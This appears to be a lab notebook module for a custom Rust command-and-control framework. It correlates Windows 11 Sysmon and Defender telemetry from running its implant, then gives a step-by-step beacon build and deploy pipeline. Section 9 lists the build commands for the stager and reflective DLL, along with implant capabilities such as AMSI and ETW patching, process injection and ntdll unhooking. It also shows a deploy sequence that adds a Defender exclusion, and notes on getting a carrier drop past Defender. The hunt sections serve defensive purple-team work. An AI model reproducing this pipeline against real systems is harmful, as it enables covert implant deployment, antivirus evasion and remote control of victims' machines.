Module 26 — c2_rust Win11 Implant Hunt Correlation

Module 26 — c2_rust Win11 Implant Hunt Correlation

Summary

2026-09-01 — Ran test_windows11_implant_series.sh on lab .114. All implant steps PASS with Defender exclusion. Sysmon and Security logs confirm the hunt workbook patterns at higher fidelity (C2 beacon parent chain, in-process BOF vs process spawn).

New: §9 documents the full beacon build → deploy → operate pipeline. In-memory load paths are in Module 27.

Prerequisites: Sysmon hunt workbook · Tools on .114 · c2_rust platform lab


1. What we ran

From MiniMac:

cd ~/code/c2_fam/c2_rust && source tools/platform_lab/env.sh
./tools/platform_lab/test_windows11_implant_series.sh
Phase Step Result
A Remove exclusion, redeploy Beacon alive (deploy re-added exclusion — see note below)
A Linux + Win11 enum PASS
B BOF whoami PASSwhoami: tester808
B patch_amasi / patch_etw PASS
B spawn_inject → notepad PASS — PID 11832
Final Both beacons alive PASS

Telemetry JSONL: c2_fam/c2_rust/tools/platform_lab/results/telemetry/20260901T175*.jsonl


2. Hunt workbook correlation

Maps Module 24 expectations to c2_rust implant activity.

Workbook layer Benign hunt scenario (Module 24) c2_rust implant series (this run)
Sysmon 1 powershell.exe child of parent shell notepad.exe child of platform-agent.exe at 10:54:08
Sysmon 1 SSH → cmd → powershell chain Same chain during deploy + Get-MpComputerStatus via beacon
Sysmon 11 %TEMP%\hunt-lab-*.txt c2_lab\windows_deploy.ps1, run_beacon.cmd, BOF tarball extract
Sysmon 3 sshd.exe network Present (SSH deploy + operator polling)
Security 4688 PowerShell with command line 65 events in 25m window; notepad create auditable
Defender 1116/1121 None (benign) 0 detections — exclusion on C:\Users\tester808\c2_lab
In-process BOF N/A in Module 24 whoami BOF — no whoami.exe Sysmon 1 (in-process only)
GUI (ProcExp) Parent chain visible VNC: look for platform-agentNotepad after spawn_inject

Key Sysmon proof (live pull)

Sysmon 1 @ 10:54:08
  Image:  ...\Notepad\Notepad.exe
  Parent: C:\Users\tester808\c2_lab\platform-agent.exe
  CmdLine: C:\Windows\System32\notepad.exe

Sysmon 1 @ 10:54:19
  Image:  powershell.exe
  Parent: platform-agent.exe
  CmdLine: Get-MpComputerStatus ... (defender-series telemetry task)

3. Telemetry counts (harness JSONL)

Checkpoint Sysmon 1 Sysmon 11 Defender 4688 Detections
post-redeploy 217 25 4×5007 (config) 114 0
post-enum 182 22 4×5007 114 0
post-bof-whoami 225 28 4×5007 115 0
post-evasion-stubs 225 29 4×5007 115 0
post-spawn-inject 224 30 4×5007 116 0

Defender 5007 = configuration change (exclusion add/remove during series).


4. Hunt exercise — do this on VNC

Use Module 24 GUI section with these filters:

  1. ProcExp — find platform-agent.exe (path C:\Users\tester808\c2_lab\).
  2. Re-run spawn_inject from harness or trigger notepad manually; confirm child Notepad under platform-agent.
  3. Procmon — filter Process Name is platform-agent.exe + Path contains c2_lab.
  4. Fill Module 24 correlation worksheet with:
    • Hunt tag: c2-implant-20260901
    • Child PID: from spawn_inject output (e.g. 11832)
    • Sysmon 1 time: match notepad create above

Re-run correlation script (SSH)

scp ~/code/c2_fam/c2_rust/tools/platform_lab/scripts/win_hunt_correlate.ps1 \
  tester808@192.168.50.114:/tmp/
ssh tester808@192.168.50.114 \
  "powershell -NoProfile -ExecutionPolicy Bypass -File C:/tmp/win_hunt_correlate.ps1 -SinceMinutes 30"

5. Gaps and next hunts

Gap Impact Next step
Part A "no exclusion" test deploy re-adds exclusion Done 2026-09-01test_windows11_no_exclusion.sh PASS; Defender blocks Move-Item on .exe.new
ASR obfuscated-scripts block Not triggered by implant series Dedicated PowerShell obfuscation scenario
No-exclusion disk matrix Not run on .114 MATRIX_WIN_PLATFORM=windows11 RUN_MATRIX=1
4688 cmdline on notepad Security event sparse in pull Verify advanced audit policy includes command line

7. No-exclusion quarantine test (2026-09-01)

./tools/platform_lab/test_windows11_no_exclusion.sh
Signal Observed
Deploy Move-Item Blocked — "virus or potentially unwanted software"
platform-agent.exe on disk Quarantined (only .exe.new remnants detected)
Beacon process Dead for full 30s poll
Defender 1116 4 events (detection)
Defender 1117 3 events (action taken)
Threat resources c2_lab\platform-agent.exe, platform-agent.exe.new
Lab restore Exclusion re-added → deploy + echo PASS

Hunt takeaway: With exclusion removed, Defender catches the beacon at file rename (before scheduled task even runs). Sysmon may show fewer platform-agent process creates than the exclusion path — hunt for 1116 + quarantined path instead of parent-child chains.

Compare to Module 24: benign hunt sees Sysmon 1/11; quarantine hunt leads with Defender Operational 1116/1117 and missing final exe on disk.


8. Carrier drop without exclusion (2026-09-01)

agentctl/comet priority #1 — validated on .114:

./tools/platform_lab/test_windows11_carrier_drop.sh
Step Result
Living beacon (exclusion during deploy) PASS
Drop network-metrics.txt + agent.token to c2_drop/ PASS — no Defender detection
hybrid_load from carrier PASS — 6.1 MB DLL mapped in memory
Beacon survives PASS
PE files in drop dir 0

Hunt pattern: Sysmon 11 on large text carrier under user c2_drop; no Sysmon 1 for new exe; compare to direct PE deploy (Module 26 §7).

See Module 27 for deploy_child results (PE quarantined without exclusion).


9. How we built the beacon — step-by-step development pipeline

Scope

This section documents how the lab beacon is produced and deployed on .114 using c2_rust. It complements the hunt-correlation sections above (what telemetry looks like after the beacon runs). For in-memory load paths (carrier, UDRL, stager), see Module 27 § Beacon load pipelines.

9.1 Artifact model

c2_rust ships several Windows PE shapes from one codebase. On .114 we use three:

Artifact Build target Typical size Role on .114
platform-agent.exe c2-rust binary (full-cli) ~8 MB Primary disk beacon — polls controller, runs tasks
beacon.dll c2_rust cdylib (stager + beacon-dll) ~6 MB Full implant loaded in memory (UDRL / carrier)
beacon-stager.exe beacon-stager binary (stager) ~4 MB Thin disk stager — udrl_load only, then hands off to DLL

All three share beacon_launcher::run_beacon() — the same agent loop, TLS, and task dispatcher. The difference is entry point (EXE main vs DLL DllMain vs stager caps) and capability set.

flowchart TB
  subgraph build [MiniMac build host]
    A[cargo zigbuild x86_64-pc-windows-gnu]
    A --> B[platform-agent.exe]
    A --> C[beacon-stager.exe]
    A --> D[beacon.dll cdylib]
  end
  subgraph deploy [SSH to .114]
    E[deploy_target.sh]
    E --> F[c2_lab install root]
    F --> G[windows_deploy.ps1]
    G --> H[platform-agent process]
  end
  subgraph operate [Operator on MiniMac]
    I[Controller :18765 + Caddy :8765]
    J[provision_agent + engagement]
    H -->|HTTPS mTLS check-in| I
    J -->|queue task| H
  end
  B --> E

9.2 Step 1 — Build the Windows beacon EXE (full implant host)

On MiniMac (~/code/c2_fam/c2_rust):

cd ~/code/c2_fam/c2_rust
cargo zigbuild --release --target x86_64-pc-windows-gnu

What this produces

Output Path
Operator + server CLI target/x86_64-pc-windows-gnu/release/c2-rust.exe
Renamed at deploy time platform-agent.exe on the victim

Cargo features involved

The beacon subcommand ultimately calls the same launcher as the stager:

async fn run_beacon(args: BeaconArgs) -> Result<(), Box<dyn std::error::Error>> {
    c2_rust::beacon_launcher::run_beacon(c2_rust::beacon_launcher::BeaconLaunchOptions {

9.3 Step 2 — Build Phase-9 artifacts (stager + reflective DLL)

For stager/UDRL lab paths, run the platform-lab builder:

./tools/platform_lab/build_beacon_phase9.sh

Commands inside the script

# Thin stager EXE — udrl_load, patch_amasi, patch_etw, upload, …
cargo zigbuild --profile release --target x86_64-pc-windows-gnu \
  --no-default-features --features stager --bin beacon-stager

# Full implant as reflective DLL
cargo zigbuild --profile release --target x86_64-pc-windows-gnu \
  --no-default-features --features "stager,beacon-dll" --lib

Outputs (copied to tools/platform_lab/phase9_artifacts/):

File Source SHA manifest
beacon-stager.exe target/.../beacon-stager.exe manifest.json
beacon.dll target/.../c2_rust.dll → renamed manifest.json

Stager source (src/bin/beacon_stager.rs) — hard-coded thin capability list, reads agent.token / TLS files from install root, sets C2_INSTALL_ROOT / C2_BEACON_URL / C2_BEACON_ID env for child UDRL handoff:

    let capabilities = vec![
        "echo".into(),
        "system_info".into(),
        "shell".into(),
        "powershell".into(),
        "upload".into(),
        "download".into(),
        "patch_amasi".into(),
        "patch_etw".into(),
        "udrl_load".into(),
        "dllload".into(),
    ];

DLL entry (src/beacon_dll_entry.rs) — on DLL_PROCESS_ATTACH, spawns a thread that calls run_beacon() with full implant capabilities (BOF, inject, hybrid_load, etc.). Used when udrl_load maps the DLL with invoke_entry: true.

9.4 Step 3 — Build lab BOFs (implant series)

Implant tests need COFF BOFs on disk:

./tools/platform_lab/build_lab_bofs.sh

Produces tools/platform_lab/bofs/{whoami,patch_amasi,patch_etw}/ with manifest.json. Deploy bundles them as bofs.tgz when C2_WINDOWS_IMPLANT=1.

9.5 Step 4 — Stand up controller + TLS on MiniMac

Every harness script starts with:

source tools/platform_lab/env.sh
# Implicit: start_controller_stack via lib.sh
Component Bind Purpose
c2-rust server 127.0.0.1:18765 SQLite controller, agent registry, task queue
Caddy TLS proxy 192.168.50.127:8765 mTLS front door beacons use
Lab TLS material tools/platform_lab/tls/lab/ CA + per-agent client certs (gen_lab_tls.sh)

Provision agent credentials (before deploy):

c2-rust operator provision-agent \
  --agent lab-beacon-win11 \
  --capability echo --capability shell … \
  --tenant default

Returns a one-time agent token written to agent.token on the victim.

Create engagement (before operator tasks):

c2-rust operator engagement-create \
  --id win11-implant-$(date +%s) \
  --agent lab-beacon-win11 \
  --action echo --action bof --action spawn_inject …

Engagements gate which actions the operator may queue. Implant actions (bof, inject, udrl_load, …) require approval in the harness (approve_platform_engagement).

9.6 Step 5 — Deploy to .114 (deploy_target.sh)

Full implant deploy (what test_windows11_implant_series.sh uses):

cd ~/code/c2_fam/c2_rust && source tools/platform_lab/env.sh
C2_WINDOWS_IMPLANT=1 ./tools/platform_lab/deploy_target.sh windows11

Ordered steps inside deploy_target.sh

# Action Detail
1 platform_win_select windows11 Host 192.168.50.114, user tester808, agent lab-beacon-win11
2 ensure_deploy_engagement Engagement with deploy caps if not already set
3 start_controller_stack Controller + Caddy healthy
4 provision_agent Mint token for lab-beacon-win11
5 defender_add_exclusion Default: exclude C:\Users\tester808\c2_lab
6 SSH New-Item Create c2_lab/, workspace/, state/
7 SCP staging agent.token, ca.pem, identity.pem, platform-agent.exe.new, windows_deploy.ps1
8 Remote Move-Item Rename .exe.newplatform-agent.exe (Defender watches this — see §7)
9 SCP + extract bofs.tgz When C2_WINDOWS_IMPLANT=1
10 Run windows_deploy.ps1 Register scheduled task / StartProcess, launch beacon

Capability list with implant flag

# Base
echo system_info shell powershell run upload download deploy_child

# Added when C2_WINDOWS_IMPLANT=1
read_text list_files hash_file bof patch_amasi patch_etw inject spawn_inject \
  udrl_load unhook_ntdll hybrid_load dllload

9.7 Step 6 — Launch on the victim (windows_deploy.ps1)

SCP'd to C:\Users\tester808\c2_lab\windows_deploy.ps1. It:

  1. Validates platform-agent.exe, agent.token, ca.pem, identity.pem exist.
  2. Stops any prior process under the install root.
  3. Builds argument line: beacon --url https://192.168.50.127:8765 --token-file … --tls-ca-file … --id lab-beacon-win11 --capability …
  4. Writes run_beacon.cmd wrapper (logs to beacon.log).
  5. Launches via -LaunchMethod (ScheduledTask default on Win10; StartProcess on Win11 lab after task scheduler failures on .114).

Install layout on .114

C:\Users\tester808\c2_lab\
├── platform-agent.exe      # full beacon binary
├── agent.token             # provisioned credential
├── ca.pem                  # lab CA
├── identity.pem            # mTLS client cert (lab-beacon-win11)
├── windows_deploy.ps1
├── run_beacon.cmd
├── beacon.log
├── workspace\              # per-task scratch
├── state\                  # agent state / outbox
└── bofs\                   # COFF BOFs (implant mode)
    ├── whoami\
    ├── patch_amasi\
    └── patch_etw\

9.8 Step 7 — Operate (controller ↔ beacon loop)

Once the process is running:

sequenceDiagram
  participant Op as Operator CLI
  participant C as Controller :18765
  participant P as Caddy :8765
  participant B as platform-agent.exe

  B->>P: HTTPS POST check-in (mTLS)
  P->>C: proxy
  C-->>B: pending tasks
  B->>B: run_action (shell, bof, …)
  B->>P: task result
  Op->>C: queue_task (engagement, agent, action)
  C-->>B: next poll delivers task

Harness helpers (tools/platform_lab/lib.sh):

Function Purpose
run_echo_check Queue echo, wait for result — liveness
run_action_task Queue any action, poll wait_task
verify_agent_ops echo + system_info + shell + powershell
capture_win_telemetry Pull Sysmon / Defender / 4688 counts to JSONL

Implant series (test_windows11_implant_series.sh) exercises this loop:

  1. Deploy with implant caps.
  2. run_bof_task → whoami (in-process, no whoami.exe Sysmon 1).
  3. patch_amasi / patch_etw → BOF stubs.
  4. spawn_injectnotepad.exe child of platform-agent.exe (Sysmon 1 proof in §2).

9.9 Source code map (beacon development)

Concern Path
Beacon bootstrap src/beacon_launcher.rs
Task dispatcher / actions src/agent.rs
Protocol + capability validation src/protocol.rs
BOF loader src/bof/
UDRL / reflective load src/evasion/udrl/win.rs
Hybrid carrier codec src/evasion/hybrid_pack.rs
Windows deploy script tools/platform_lab/windows_deploy.ps1
Deploy orchestration tools/platform_lab/deploy_target.sh
Platform harness tools/platform_lab/lib.sh
Phase-9 builder tools/platform_lab/build_beacon_phase9.sh

9.10 Quick re-create checklist (.114)

cd ~/code/c2_fam/c2_rust
source tools/platform_lab/env.sh

# 1. Build
cargo zigbuild --release --target x86_64-pc-windows-gnu
./tools/platform_lab/build_beacon_phase9.sh   # optional: stager + DLL
./tools/platform_lab/build_lab_bofs.sh        # if running implant series

# 2. Deploy + implant
C2_WINDOWS_IMPLANT=1 ./tools/platform_lab/deploy_target.sh windows11

# 3. Run implant series + hunt correlation
./tools/platform_lab/test_windows11_implant_series.sh